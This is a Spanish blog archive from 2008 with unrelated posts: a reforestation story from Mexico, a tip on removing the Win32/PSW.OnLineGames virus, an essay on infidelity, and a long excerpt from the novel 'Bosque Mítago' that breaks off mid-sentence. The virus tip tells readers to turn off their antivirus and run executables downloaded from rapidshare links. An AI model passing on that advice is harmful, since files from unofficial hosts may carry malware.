
Actualmente, Santos y sus amigos luchan contra los transgénicos, y siembran unos 200.000 árboles anuales.
Cada día hacen retroceder la línea de la desertificación. Con la madera de los árboles se ha podido rescatar una actividad artesanal que estaba desapareciendo : la elaboración, en talleres familiares, de yugos de madera y utensilios de uso corriente.

Además, se han enterrado en lugares estratégicos cisternas de ferrocemento, de más de 10.000 litros de capacidad, que también recogen el agua de lluvia para el riego de invernaderos familiares orgánicos.

El ejemplo de Jesús León Santos es ahora seguido por varias comunidades vecinas preocupadas por recuperar el control sobre sus tierras. También han creado viveros comunitarios y organizan temporalmente plantaciones masivas.

En un mundo donde las noticias con frecuencia son negativas y deprimentes, esta historia ejemplar ha pasado desapercibida.

¡Circule esta noticia! Podría convencer a aquellos que desprecian a los ancestrales cuidadores de nuestro territorio llamándolos 'indios', para seguir despojándolos. Podría convencer a algunos más a colaborar de manera activa en el rescate de México.

Win32/PSW.OnLineGames

2008-12-02T22:30:00.002-06:00

Aqui les pongo como reparar ese maldito virus que como jode:

Con tu memoria USB conectada, descarga y ejecuta Flash_Disinfector.

Luego
- Descarga la herramienta ComboFix.exe y guárdala en el escritorio.
Desactiva temporalmente el Antivirus y/o Antispyware.
Cierra todas las ventanas abiertas.
Hacele doble clic al archivo ComboFix.exe y seguí las instrucciones.
Cuando termine, generara un registro en C:\ComboFix.txt.
*Nota* Mientras CF este trabajando no mover el mouse ya que pararía su proceso.
*Nota* ComboFix puede reiniciar automáticamente el PC para completar el proceso de eliminación.

ComboFix:
http://rapidshare.com/files/169727395/ComboFix.exe

Flash desinfector:

http://rapidshare.com/files/169728024/Flash_Disinfector.exe

Infidelidad

2008-11-20T22:17:00.002-06:00

INFIDELIDAD, CAUSAS, CONSECUENCIAS Y CRISIS DE PAREJA

La infidelidad se vive como la peor traición de la pareja y se piensa que el infiel es el culpable de un grave daño a la relación de pareja, ya que, se supone que en la relación de pareja se tiene todo lo que necesita para vivir bien.

Generalmente se piensa que la infidelidad se relaciona con encuentros sexuales extra pareja.

Pero, también existe la infidelidad producto de las crisis o problemas en la pareja; en este tipo de infidelidad no sólo se trata de un evento sexual, ya que el o la infiel busca lo que no encuentra con su pareja, por ejemplo aspectos intelectuales, físicos, emocionales, de atención, económicos, etc.

Para poder entender un poco mas de la infidelidad, debemos decir que, la infidelidad existe siempre y cuando, primero exista una pareja, puede ser noviazgo, vivir juntos, matrimonio, etc.; a resumidas cuentas, la infidelidad va a afectar la relación de una pareja.

Esto surge, en parte por nuestra sociedad, ya que crecemos y somos educados para pensar que la monogamia será el tipo de relación en la que viviremos y por lo tanto, tenemos muchos argumentos de educación que así lo determinan.

Los factores de educación van conformando la moral, los valores, costumbres, normas, formas de comportamiento, etc. Y nos educan como personas con lo que conocemos como una conducta “normal” (nos referimos con normal que esta dentro de la norma social vigente) y lo normal en nuestra sociedad es que vivamos en pareja, repito es una forma educativa de tipo social, y debemos tomar en cuenta que existen otras formas, creencias, valores y costumbres.

Hasta aquí todo va claro, pero el problema surge cuando nos damos cuenta que los seres humanos en ocasiones pedimos cosas opuestas a lo que se esperaba, sobre todo en aspectos relacionados con la pasión y el amor.

La pasión que en ocasiones se desaparece o cambia y el amor que se desvanece cuando la rutina y la monotonía van llenando a la pareja de obligaciones, decepciones, mala comunicación, mala economía, mala salud, etc.

Pero ¿cómo definir la infidelidad entonces?.- De una manera rápida la podemos definir como las relaciones extra conyugales o extra pareja, sean de tipo sexual o afectivo.

Entendemos la relación fuera del lazo o compromiso de pareja, ya que se había establecido un acuerdo de estar juntos los dos sexual y emocionalmente el uno para el otro en exclusividad, al menos es lo esperado.

Pero y ¿Qué provoca la infidelidad?
Contra lo que muchos piensan, no es un solo factor y cada conjunto de factores dependen de cada persona y de cada situación y por lo tanto es muy difícil definir que produce la infidelidad. Lo que si se puede adelantar para entenderla son los factores que predisponen a las personas a la infidelidad:

Uno de los factores que provoca la infidelidad se refiere a la elección de la propia pareja.- Es importante señalar que no es del todo cierto que elegimos libremente a la pareja, por lo general la "decisión" está dada por factores restringidos al circulo en el que nos desarrollamos, es decir, la elección no es al azar sino que está altamente determinada de acuerdo con las actividades que realizamos, las cuales nos permiten "conocer" o relacionarnos con otras personas.

Incluso existen teorías que nos dicen que nos sentimos atraídos por personas que realizan actividades similares a nosotros, tal es el caso de las relaciones que se desarrollan en la escuela, en el trabajo, en el gimnasio, en los círculos de amigos, etc.

Generalmente en las relaciones de pareja donde se presentan episodios de infidelidad, producen formas de amor y odio o de amor y dolor; esto es causado por que suponemos que el otro "debe" satisfacer nuestras necesidades, lo cual se da muchas veces a nivel inconsciente. Las necesidades son de manera completa e integra, entre ellas destacan, lo económico, la atención, el amor, lo sexual, la protección, la fidelidad, etc.

Por ejemplo, la pareja complementaria, en donde uno "manda" y es considerado más desarrollado, mejor, más capaz, con mas dinero, etc., puede verse seriamente afectada cuando el "obediente" obtiene, por ejemplo logros que lo hacen salir del esquema anterior, o entender la relación desde otra perspectiva.

En este ejemplo, el "obediente", realiza una elección del tipo analítico pero dados los logros, su relación se transforma en una elección basada mas en la confianza en si mismo. La relación continúa siempre que la elección sea ratificada por ambos miembros de la pareja.

Puede darse el caso de que la elección de la pareja se base en un afán de evitar la depresión o de no querer estar “solo consigo mismo”, y esto haga que la elección sea de tipo analítico y cuando descubra que su pareja no es la solución a sus problemas buscara entonces una relación extra.

Las situaciones anteriores, hacen referencia a elecciones de pareja poco sanas, en la medida en que se hacen modos de relación rígidas que ante cualquier crisis o problema "vital" de la pareja, resultarán las conductas inoperantes para resolver o cuando menos llevar a buen término los problemas que la aquejan. Y una de las conductas que hace inoperante la relación de pareja es la infidelidad.

En ese momento, lo que parecía amor, se va tornando en frustración, coraje y odio, lo cual puede desencadenar que se busque un amante que sea totalmente opuesto a lo que es la pareja, aunque también pueden aparecer personas circunstanciales que podrán general los cuadros de infidelidad, por ejemplo, el caso donde un (a) amigo (a) o compañero (a) de trabajo se vuelve la persona que nos escucha sobre los problemas que tenemos. La compenetración que se logra al contar nuestras penas es tanta, que muchas de la veces puede generar un romance.

Ya que eso brinda como un desahogo emocional, en ocasiones esto permite seguir en la relación de pareja, ya que de alguna manera se logra compensar que lo no se tiene con la pareja.

Esto tiene una lógica basada en la existencia de relaciones de infidelidad en donde la relación sexual no es lo más importante, sino la necesidad de sentirse escuchado y atendido por otra persona.

La relación extra conyugal también se llega a presentar por que alguno de los dos se siente amenazado en su autonomía y a través de otra relación, se logran sentir apoyados o con un “valor extra” que permite enfrentar las cosas que solo (a) no se podía. Sobre todo que la extra relación permite seguir sintiendo cierta autonomía.

También existen relaciones extra pareja cuando se sienten que la pareja amenaza la independencia y la autonomía y se tienen miedo a quedar atrapado (a), en este sentido, se observan personas que una vez que el/la amante inicia sus exigencias, buscarán nuevamente otra relación que los "salve" tanto del cónyuge como del amante "devorador" o bien, pueden mantenerse así para evitar ser absorbidos por ambas.

Hasta aquí hemos dado un repaso de algunas de las causantes de la infidelidad, y diremos que es necesario, para mantener una buena relación de pareja, establecer cierta independencia y autonomía entre los miembros de la pareja, para lo cual se debe considerar que:

Se debe mantener una buena comunicación efectiva en la pareja.

Se recomienda constatar el laso de unión en la pareja.

Se considera importante renovar los acuerdos de la pareja.

Y finalmente, es importante recomendar el revisar como quieres vivir, ya que la fidelidad también es un acto de convicción, esto quiere decir que para mantenerte tranquilo (a) en una relación, debes planear que tipo de relación quieres y propones, ya que la infidelidad se relaciona con el acto de mentir o engañar a la pareja, ya que esta desconoce nuestras intenciones.

Bosque Mítago

2008-10-28T18:40:00.001-06:00

Prólogo

Edward Wynne-Jones Esq.
15 College Road Oxford
Edward:
Tienes que volver al Refugio. ¡Por favor, no te retrases ni una hora! He descubierto un
cuarto camino hacia las zonas más profundas del bosque. El arroyo. Qué obvio parece
ahora... ¡un camino de agua! Pasa directamente a través del vórtice exterior de fresnos,
más allá del sendero espiral y de las Cataratas de Piedra. Creo que nos servirá para
llegar al mismo corazón del bosque. ¡Pero el tiempo, siempre el factor tiempo...!
He encontrado un pueblo llamado los shamiga. Viven más allá de las Cataratas de
Piedra. Vigilan los vados del río, pero descubrí con gran satisfacción que les encanta
contar historias. Ellos lo llaman «narrar la vida». La narradora de la vida es una jovencita
que se pinta la cara de verde y cuenta las historias con los ojos cerrados, para que las
sonrisas o gestos desaprobadores de los que escuchan no la hagan «cambiar de forma»
a los personajes de la historia. La escuché durante mucho tiempo, pero lo más importante
que oí fue un fragmento que sólo puede pertenecer a la historia de Guiwenneth. Era una
versión precéltica del mito, pero estoy seguro de que se refiere a la chica. Esto es lo que
conseguí entender:
«Una tarde, tras matar a un ciervo con astas de ocho puntas, a un jabalí más alto que
dos hombres, y corregir los malos modales de cuatro pueblos, Mogoch, un jefe, se sentó
junto a la orilla para descansar. Era de constitución tan gigantesca, que las nubes casi le
tapaban la cabeza. Metió los pies en el mar, junto a la base de los acantilados, para
refrescarse. Luego se reclinó hacia atrás y observó la reunión que tenía lugar entre dos
hermanas sobre su fertilidad.
»Las hermanas eran gemelas, ambas hermosas, de hablar dulce y hábiles con el arpa.
Pero una de ellas se había casado con el jefe guerrero de una gran tribu, y pronto
descubrió que su vientre no podía concebir. Se volvió tan agria como la leche que ha
quedado demasiado tiempo expuesta al sol. La otra hermana se había casado con un
guerrero exiliado llamado Peregu. El campamento de Peregu estaba en los más
profundos desfiladeros de la parte más lejana del bosque, pero acudía junto a su amada
en forma de lechuza. Ella acababa de tener una hija, pero, como Peregu estaba exiliado,
la hermana de rostro amargado y su ejército se habían presentado para llevarse a la
criatura.
»Tuvo lugar una gran discusión, y las armas chocaron. La amada de Peregu ni siquiera
había tenido tiempo deponerle nombre a la niña, cuando su hermana le arrebató el
pequeño bulto envuelto en telas y lo alzó sobre su cabeza, para ser ella quien le diera
nombre.
»Pero el cielo se oscureció, y aparecieron diez urracas. Eran Peregu y sus nueve
hermanos de espada, mutados por la magia del bosque. Peregu descendió en picado,
tomó a la niña entre sus garras y se remontó, pero un tirador le derribó con su honda. La
niña cayó, pero los otros pájaros la recogieron en el aire y se la llevaron. Así que fue
llamada Hurfathana, que quiere decir "la niña criada por urracas".
»Mogoch, el jefe, contempló todo esto con diversión despectiva, pero sentía respeto
por el difunto Peregu. Recogió al pajarilla y le devolvió la forma humana.
Como tenía miedo de aplastar pueblos enteros si excavaba una tumba con el dedo,
Mogoch se metió al exiliado muerto en la boca, y se arrancó un diente para que le sirviera
de lápida funeraria. Así, Peregu fue enterrado bajo una gran piedra blanca, en un valle
que respira.» No hay duda, se trata de una versión primitiva de la historia de Guiwenneth,
y supongo que comprendes mi emoción. La última vez que vino la chica, pude preguntarle
sobre su tristeza. Me dijo que se había extraviado. No conseguía dar con el valle que
respiraba, ni la brillante roca bajo la que yacía su padre. Es la misma historia. ¡Lo sé, lo
presiento! Tenemos que invocarla de nuevo. Tenemos que ir otra vez más allá de las
Cataratas de Piedra. Necesito tu ayuda.
¿Quién sabe dónde y cuándo terminará esta guerra? Pronto llamarán a filas a mi hijo
mayor, y Steven no tardará en seguirle. Entonces, tendré más libertad para explorar el
bosque y hablar con la chica.
Tienes que venir, Edward.
Un saludo afectuoso.
George Huxley Diciembre de 1941
Primera parte - Bosque Mitago
Uno
En mayo de 1944 recibí los papeles de alistamiento y, de mala gana, partí hacia la
guerra. Mi entrenamiento tuvo lugar en Lake District, y luego me embarcaron hacia
Francia con el Séptimo de Infantería.
La noche anterior a la partida, estaba tan enfadado con mi padre por su aparente
despreocupación en lo relativo a mi seguridad, que, cuando se durmió, me acerqué
silenciosamente a su escritorio y arranqué una página de su libreta, el diario donde
detallaba su trabajo silencioso y obsesivo. El fragmento tenía como única fecha «Agosto
del 34», y lo leí muchas veces, desesperado por no comprender nada, pero contento de
haberle arrebatado al menos una pequeña parte de su vida, una parte que me sustentaría
en aquellos días dolorosos y solitarios.
La anotación comenzaba con un amargo comentario sobre las pérdidas de tiempo que
se le imponían: el mantenimiento de Refugio del Roble, nuestro hogar familiar, las
exigencias de sus dos hijos, y la difícil relación con su esposa, Jennifer. Si mal no
recuerdo, por aquel tiempo mi madre estaba gravemente enferma. Terminaba con un
párrafo memorable por su incoherencia:
Una carta de Watkins. Está de acuerdo conmigo en que, en ciertas épocas del año, el
aura que rodea el bosque puede llegar hasta la casa. Debo meditar sobre las
implicaciones. Quiere conocer el poder del vórtice roble que he medido. ¿Qué le cuento?
Desde luego, nada del primer mitago. También he notado que la zona premitago es cada
vez más rica. Pero, al mismo tiempo, es evidente que pierdo progresivamente el sentido
del tiempo.
Atesoré este pedazo de papel por muchas razones, pero sobre todo, porque
representaba los escasos momentos de interés apasionado de mi padre... aunque, al
mismo tiempo, no podía compartir este interés, igual que no podía compartir su vida
cuando estaba en casa.
Me hirieron a principios de 1945, y cuando terminó la guerra, me las arreglé para
quedarme en Francia. Viajé hacia el sur para pasar la convalecencia en un pueblo de las
colinas que hay más allá de Marsella, y allí viví con unos viejos amigos de mi padre. Era
un lugar cálido, seco, silencioso y tranquilo. Me pasaba horas y horas sentado en la plaza
del pueblo, y pronto se me consideró parte de la pequeña comunidad.
Las cartas de mi hermano Christian, que había vuelto a Refugio del Roble cuando
terminó la guerra, me llegaban puntualmente todos los meses durante el largo año de
1946. Eran cartas alegres, informativas, pero parecían cada vez más tensas:
evidentemente, la relación de Christian con nuestro padre se deterioraba por momentos.
El viejo no me escribió nunca, pero tampoco lo esperaba. Hacía mucho que me había
resignado, lo máximo que obtendría de él sería indiferencia.
Toda la familia no era más que una intrusión en su trabajo. Su sentimiento de
culpabilidad por habernos descuidado, y sobre todo por haber hecho que nuestra madre
se suicidara, se convirtió rápidamente, durante los primeros años de guerra, en una locura
histérica verdaderamente aterradora. Esto no quiere decir que estuviera gritando siempre;
todo lo contrario, se pasaba la mayor parte del tiempo en silencio, absorto en la
contemplación del bosque de robles cercano a nuestra casa. Estos períodos de silencio,
que al principio no le enfurecían por la distancia que interponían entre la familia y él, se
convirtieron pronto en una auténtica bendición.
Murió en noviembre de 1946, de una enfermedad que le había aquejado durante años.
Cuando me enteré, me sentí dividido entre lo poco que me atraía volver a Refugio del
Roble, en un rincón de Ryhope, en Herefordshire, y el evidente malestar de Christian.
Ahora, mi hermano estaba solo en la casa donde habíamos pasado juntos la infancia. Me
lo imaginaba recorriendo las habitaciones vacías, quizá sentado en el estudio húmedo e
insalubre de nuestro padre, recordando las horas de rechazo, el olor a madera y mantillo
que acompañaba al viejo al cruzar las puertas con paneles de cristal cuando regresaba de
sus expediciones de una semana a lo más profundo del bosque. Éste se había extendido
por esa habitación, como si mi padre no soportara estar lejos de los matorrales bajos y as
húmedas sombras de los robles, ni siquiera cuando recordaba que tenía una familia.
Demostraba recordarnos de la única manera en que sabía hacerlo: contándonos —sobre
todo, contando a mi hermano— historias sobre los antiguos bosques que se divisaban
desde la casa, sobre los robles, fresnos, hayas y otros árboles en cuyo oscuro interior
(dijo una vez) aún se podía oír y oler al jabalí salvaje, incluso seguir sus huellas.
Yo dudaba de que hubiera visto nunca a ese animal, pero aquella noche, sentado junto
a la ventana de mi habitación, contemplando el pueblecito en las colinas (todavía llevaba
la carta de Christian en la mano, hecha una bola), recordé con claridad cómo me había
dedicado a escuchar los gruñidos lejanos de algún animal del bosque, cómo atendía al
ruido del pesado desplazamiento de algo muy grande que se adentraba hacia el bosque
por el ventoso camino que llamábamos Sendero Profundo, una ruta que transcurría en
espiral hacia el mismo corazón del bosque.
Sabía que debía volver a casa, pero retrasé el viaje casi otro año. Durante ese tiempo,
las cartas de Christian cesaron bruscamente. En la última, fechada el diez de abril,
escribía sobre Guiwenneth, acerca de su extraño matrimonio, y aseguraba que me
sorprendería la encantadora muchacha por la que había perdido «corazón, mente, alma,
razón, talento para cocinar y casi todo lo demás, Steve».
Le escribí para darle la enhorabuena, claro, pero durante los meses siguientes no hubo
ninguna comunicación más entre nosotros.
Por fin, le escribí para hacerle saber que volvía a casa, que me quedaría en Refugio del
Roble unas semanas, y luego buscaría alojamiento en alguna de las ciudades cercanas.
Me despedí de Francia y de la comunidad que se había convertido en una parte
importante de mi vida. Viajé hasta Inglaterra en autobús y tren, en ferry y otra vez en tren.
El 20 de agosto, en coche de caballos, llegué hasta el tendido de ferrocarril en desuso
que marcaba el límite de los terrenos.
Refugio del Roble estaba al otro lado, a seis kilómetros si se daba un rodeo por la
carretera, pero mucho más cerca por un camino que atravesaba los campos y
bosquecillos de la finca. Mi intención era tomar la ruta más rápida, así que cogí lo mejor
que pude mi única y destartalada maleta y eché a andar por el descuidado sendero. De
cuando en cuando, echaba un vistazo por encima del alto muro de ladrillo rojo que
señalaba los límites de la propiedad, tratando de ver algo a través de la espesura de
pinos.
Pronto desaparecieron tanto el bosque como el muro, y la tierra se convirtió en una
serie de campos bordeados de árboles, a los que entré por un desvencijado portillo con
escalones de madera, casi oculto bajo las raíces de fresno y los arbustos fresales. No me
costó poco abandonar la vía pública y avanzar por el camino sur que atravesaba los
bosquecillos, serpenteando junto al riachuelo llamado «arroyo arisco», hacia la casa
cubierta de hiedra que era mi hogar.
Se acercaba el mediodía y el calor arreciaba cuando por fin avisté Refugio del Roble.
En algún lugar, a mi izquierda, se oía el sonido de un tractor. Pensé en el viejo Alphonse
Jeffries, el encargado de los terrenos. Y, junto con su rostro bronceado, sonriente, recordé
la alberca del molino y el pequeño bote de remos desde el que solía pescar.
El recuerdo de la tranquila alberca se apoderó de mí, y me aparté del sendero sur,
pese a que las ortigas me llegaban a la cintura, y los fresnos y los espinos crecían por
doquier. Me acerqué a la orilla de la amplia alberca sombreada. El espeso bosque de
robles del otro lado impedía verla en toda su extensión. Casi oculto entre los arbustos que
poblaban la orilla más cercana estaba el pequeño bote desde el que Chris y yo solíamos
pescar años antes. Había perdido casi por completo la capa de pintura blanca y, aunque
el casco parecía intacto, dudé que soportara el peso de un hombre adulto. No lo toqué.
Me limité a rodear la alberca para sentarme en los desiguales escalones de cemento que
llevaban al desvencijado embarcadero. Desde allí, contemplé la superficie de la alberca,
poblada por nubes de insectos, sólo alterada por el paso de algún que otro pez.
—Sólo nos harían falta un par de palos y un trozo de cordel. La voz de Christian me
sobresaltó. Debía de haber caminado desde el Refugio por el sendero que la vegetación
me impedía ver. Alegre, me puse en pie de un salto y me volví hacia él.
La sorpresa que me causó su aspecto fue tan brutal como si me hubieran golpeado, y
creo que se dio cuenta, aunque le rodeé con los brazos y le di un fuerte abrazo fraternal.
—Tenía que ver otra vez este lugar —dije.
—Te comprendo —asintió, mientras nos separábamos—. Yo suelo venir a menudo.
Nos miramos, y se hizo un extraño silencio. Y, de pronto, tuve la certeza de que no le
alegraba verme.
—Estás muy moreno —señaló—. Y muy demacrado. Saludable y enfermo al mismo
tiempo...
—Sol mediterráneo, recogida de la uva y una granada de metralla. Aún no me he
recuperado del todo. —Sonreí—. Pero me encanta estar de vuelta y verte de nuevo.
—Sí —respondió vagamente—. Me alegra que hayas regresado Steve. Me alegra
mucho. Me temo que la casa... bueno, no está muy ordenada. Tu carta no llegó hasta
ayer, y no he tenido tiempo de hacer nada. Pronto verás que las cosas han cambiado
bastante.
Sobre todo él. Apenas podía creer que éste fuera el joven alegre y vivaz que marchó
con su unidad en 1942. Había envejecido de una manera increíble, tenía el pelo surcado
de hebras grises, más evidentes al llevarlo largo y sucio. Me recordó a nuestro padre: la
misma mirada distante, ausente, idénticas mejillas demacradas, idénticas arrugas
profundas en todo el rostro. Pero lo que más me chocaba era su porte en general.
Siempre había sido del tipo recio, musculoso.
Ahora era como el proverbial espantapájaros, flaco, desgarbado, siempre nervioso.
Lanzaba miradas hacia todas partes, pero sin concentrarse nunca en mí.
Y olía. A bolas de naftalina, como si la camisa blanca y los anchos pantalones grises
que llevaba acabaran de salir del armario. Y había otro olor, por debajo del de la
naftalina..., el punzante aroma de bosque y hierba. Tenía tierra en las uñas y en el pelo, y
sus dientes amarilleaban.
Con el paso de los minutos, pareció relajarse ligeramente. Discutimos un poco, reímos
otro poco y paseamos alrededor de la alberca, golpeando los arbustos con palos. Pero no
podía librarme de la sensación de haber llegado a casa en un mal momento.
—¿Fue difícil... lo del viejo? Me refiero a los últimos días. Negó con la cabeza.
—Durante las dos últimas semanas, más o menos, le atendió una enfermera aquí. No
puedo decir que muriera en paz, pero al menos dejó de hacerse daño a sí mismo... y, de
paso, a mí.
—Iba a preguntártelo. En tus cartas sugerías que había cierta hostilidad entre vosotros.
Christian frunció los labios en una sonrisa sombría, y me miró con una expresión
extraña, algo a medio camino entre el asentimiento y la sospecha.
—Más bien una guerra abierta. Poco después de que yo regresara de Francia, se
volvió bastante loco. Tendrías que haber visto la casa, Steve. Tendrías que haber visto al
viejo. Creo que llevaba meses sin lavarse. No sé qué habría estado comiendo... Desde
luego, nada tan sencillo como huevos y carne. Para ser sincero, durante unos meses creí
que se alimentaba de madera y hojas. Estaba en unas condiciones desastrosas. Me dejó
ayudarle con su trabajo, pero pronto empezó a odiarme. Trató de matarme más de una
vez, Steve. Y lo digo en serio, auténticos atentados contra mi vida. Supongo que tenía un
motivo...
El relato de Christian me dejó atónito. La imagen de mi padre había cambiado.
De ser un hombre frío, resentido, a convertirse en una figura enloquecida que se
lanzaba sobre mi hermano para golpearle con los puños.
—Siempre pensé que te quería más a ti. Era a ti a quien contaba las historias del
bosque. Yo escuchaba, pero siempre era a ti a quien sentaba sobre sus rodillas.
¿Por qué iba a intentar matarte?
—Me involucré demasiado —fue toda la respuesta de Christian. Me ocultaba algo, algo
de importancia fundamental. Se le notaba en el tono de voz, en la expresión hosca, casi
resentida. ¿Debía presionarle o no? Difícil decisión. Nunca me había sentido tan lejos de
mi propio hermano. Me pregunté si su comportamiento repercutía en Guiwenneth, la chica
con quien se había casado. Me pregunté qué clase de atmósfera estaría respirando la
pobre en Refugio del Roble.
Saqué el tema de la chica con precaución. Christian golpeó furioso los arbustos de la
alberca.
—Guiwenneth se ha ido —fue toda su respuesta. Me detuve, sobresaltado.
—¿Qué quieres decir, Chris? ¿Adonde ha ido?
—Simplemente se ha ido —replicó furioso, de mala gana—. Pertenecía a papá, se ha
ido, y no hay más que hablar.
—No sé qué quieres decir. ¿Dónde está? En tu carta parecías tan feliz...
—No debí escribirte sobre ella. Fue un error. Ahora, deja el tema, ¿vale?
Después de aquella réplica, me sentía cada vez más intranquilo con Christian.
Desde luego, le sucedía algo terrible, y era evidente que la partida de Guiwenneth
había contribuido en gran manera a aquel terrible cambio que no podía dejar de advertir.
Pero también sentí que había algo más. Y no podía saber qué era, a menos que Christian
hablara de ello.
—Lo siento —fueron las únicas palabras que conseguí formular.
—No lo sientas.
Caminamos en dirección al bosque, donde el suelo se volvía fangoso e inseguro
durante unos metros, antes de desaparecer en un pantano musgoso de piedras, raíces y
madera putrefacta. Los rayos del sol apenas conseguían atravesar el espeso follaje de los
árboles, y hacía frío. Los densos arbustos se movían con la brisa, y vi como el bote se
mecía ligeramente.
Christian siguió la dirección de mi mirada, pero no se fijó en el bote ni en la alberca.
Estaba perdido en algún lugar de sus propios pensamientos. Durante un breve instante, la
tristeza me atenazó al ver a mi hermano tan destruido en aspecto y actitud. Quería
desesperadamente tocarle el brazo, estrecharle, y era terrible, pero me daba miedo
hacerlo.
—¿Qué demonios te ha pasado, Chris? ¿Estás enfermo? —le pregunté con una voz
bastante serena. Por un momento no respondió.
—No estoy enfermo —dijo al final.
Dio una patada a una seta seca, que quedó convertida en un polvillo que la brisa
arrastró. Me miró con algo parecido a la resignación en su rostro obsesionado.
—He cambiado un poco, nada más. He retomado el trabajo del viejo. Quizá se me haya
pegado algo de su indiferencia.
—Si es así, quizá deberías dejarlo una temporada.
—¿Por qué?
—Porque la obsesión del viejo terminó por matarle. Y, por tu aspecto, sigues el mismo
camino.
Christian sonrió un instante, y lanzó el palo a la alberca, donde salpicó un poco y quedó
flotando en un charco de sucias algas verdes.
—Quizá valga la pena morir por lo que él buscaba..., aunque no lo encontrara.
No comprendí el tono dramático en la afirmación de Christian. El trabajo que tanto
había obsesionado a nuestro padre consistía en dibujar mapas del bosque, en buscar
pruebas de la existencia de sus antiguos pobladores. Había inventado toda una nueva
jerga para su propio uso, y consiguió dejarme completamente al margen, sin la menor
posibilidad de comprender su trabajo. Se lo dije a Christian.
—Es muy interesante, pero no tanto como crees —añadí.
—Hacía mucho, mucho más que dibujar mapas. Pero ¿recuerdas esos mapas, Steve?
Increíblemente detallados...
Recordaba uno con bastante claridad, el más grande de todos. Mostraba con gran
precisión los senderos y los caminos menos importantes, que atravesaban los grupos de
árboles y montículos pedregosos. Los claros estaban dibujados con precisión casi
obsesiva, cada uno numerado e identificado, y todo el bosque aparecía dividido en zonas
con nombre propio. Una vez, Chris y yo montamos un campamento en uno de los claros,
en el bosque, aunque no nos adentramos demasiado.
—Muchas veces intentamos adentrarnos más. ¿Recuerdas aquellas expediciones,
Chris? En cuanto terminaba el sendero profundo, nos perdíamos. Y nos asustábamos
mucho.
—Cierto —replicó Christian con voz tranquila, mientras me miraba de una manera
enigmática—. ¿Y si te dijera que el bosque nos impidió entrar? —añadió—, ¿Me creerías?
Contemplé los grupos de arbustos, árboles y sombras, donde apenas llegaba la luz del
sol.
—Supongo que, en cierto modo, lo hizo —respondí—. Nos impidió adentrarnos más
porque nos hizo tener miedo, porque hay pocos senderos y está lleno de piedras y
raíces... Es muy difícil caminar por ahí. ¿Te refieres a eso? ¿O a algo un poco más
siniestro?
—«Siniestro» no es la palabra que yo utilizaría —señaló Christian. Pero, por el
momento, no añadió nada más, Se agachó para recoger una hoja de un roble pequeño,
inmaduro, y la frotó entre el índice y el pulgar antes de aplastarla con el puño. Todo esto
sin dejar de mirar hacia el bosque.
—Éste es un bosque de robles, Steve. Un bosque virgen desde los tiempos en que
todo el país estaba cubierto de bosques de árboles caducos: robles, fresnos, saúcos,
serbales, espinos...
—Y todos los demás —le interrumpí con una sonrisa—. Recuerdo la lista que nos hacía
el viejo.
—Cierto. Y hay más de cinco kilómetros cuadrados de bosque desde aquí hasta
Grimiey. Cinco kilómetros cuadrados de auténtico bosque posterior a la Era Glaciar. Y ha
permanecido intacto, sin que nadie lo invadiera, durante miles de años.
Pareció despertar de un sueño, y me miró con gesto duro.
—Se resisten a cambiar —añadió.
—Siempre pensó que había jabalíes vivos ahí dentro —dije—. Recuerdo que una
noche oí algo, y él me convenció de que se trataba de un jabalí salvaje, de un enorme
jabalí que corría por el lindero del bosque, en busca de una hembra.
Christian echó a andar de vuelta hacia el embarcadero, y le seguí.
—Seguramente tenía razón. Si ha sobrevivido algún jabalí de la Edad Media, estará en
un bosque como éste.
Como estaba pensando en sucesos acaecidos muchos años antes, los recuerdos
fueron regresando muy despacio. Volví a ver imágenes de mi infancia: el sol abrasador
sobre la piel arañada por las zarzas, las excursiones de pesca a la alberca del molino, los
campamentos entre los árboles, los juegos, las exploraciones... y, una y otra vez, recordé
a Brezo.
Mientras volvíamos hacia el pisoteado sendero que llevaba al Refugio, discutimos
sobre la visión. Yo tenía nueve o diez años. Íbamos hacia el Arroyo Arisco a pescar, y
decidimos probar nuestros palos y cordeles en la alberca del molino con la vana
esperanza de atrapar a alguno de los peces depredadores que allí vivían. Cuando nos
acuclillamos junto al agua —sólo nos atrevíamos a salir con el bote si nos acompañaba
Alphonse—, vimos un movimiento entre los árboles, al otro lado de la orilla. Fue una
visión asombrosa, que nos dejó subyugados durante los meses siguientes..., además de
aterrorizarnos, desde luego. De pie, mirándonos, había un hombre vestido con pieles
marrones. Se ceñía con un ancho cinturón brillante, y la barba hirsuta, anaranjada, le
llegaba al pecho.
Llevaba unas ramitas en la cabeza, sujetas a la coronilla con una tira de cuero.
Nos contempló sólo un instante, antes de volver a la oscuridad. No oímos ni un ruido
durante aquel lapso, ni cuando se acercó, ni cuando desapareció.
Corrimos de vuelta a la casa, y llegamos ya algo más tranquilos. Christian concluyó que
debía de tratarse del viejo Alphonse, que nos quería tomar el pelo.
Cuando le mencionó a nuestro padre lo que habíamos visto, éste reaccionó casi con
furia, aunque Christian creía recordar que se había puesto nervioso, y que si nos gritó fue
por eso, no por habernos acercado a la alberca prohibida. Fue nuestro padre quien
empezó a llamarle «el Brezo», refiriéndose a las ramas de brezo que llevaba en la
cabeza. Y, poco después de que se lo contáramos, desapareció en el bosque durante
casi dos semanas.
—Fue la vez que volvió herido, ¿recuerdas? Ya habíamos llegado a Refugio del Roble,
y Christian me abrió la puerta de la valla.
—La herida de flecha. La flecha gitana. Dios, fue un día terrible.
—El primero de muchos.
Advertí que la mayor parte de la hiedra había desaparecido de los muros de la casa.
Ahora era un lugar gris, con pequeñas ventanas sin cortinas entre el ladrillo oscuro. El
tejado, con sus tres esbeltas chimeneas, quedaba parcialmente oculto entre las ramas de
una enorme haya vieja. El patio y los jardines estaban sucios, descuidados; el corral de
los pollos, vacío; los establos para animales, deteriorados, casi en ruinas. Desde luego,
Chris lo había descuidado todo. Pero, cuando atravesé el umbral, me sentí como si nunca
hubiera estado fuera de allí. La casa olía a comida rancia y a cloro, y casi pude ver la
esbelta silueta de mi madre, limpiando la enorme mesa de pino de la cocina, con los gatos
a su alrededor, tendidos en el suelo de losetas rojas.
Christian estaba tenso otra vez. Me miraba de esa manera inquieta que delataba su
intranquilidad. Supuse que aún no sabía si alegrarse o enfadarse conmigo por haber
vuelto a casa. Por un momento, me sentí como un intruso.
—¿Por qué no deshaces las maletas y te refrescas un poco? —me dijo—. Puedes
instalarte en tu vieja habitación. Supongo que estará mal ventilada, pero no tardará en
airearse. Luego, cuando bajes, podemos comer algo. En cuanto tomemos el té,
tendremos todo el tiempo del mundo para charlar.
Sonrió, y me pareció que era un intento de hacer un chiste. Pero siguió hablando
rápidamente, mientras me miraba con frialdad.
—Porque, si te vas a quedar en casa una temporada, más vale que sepas lo que está
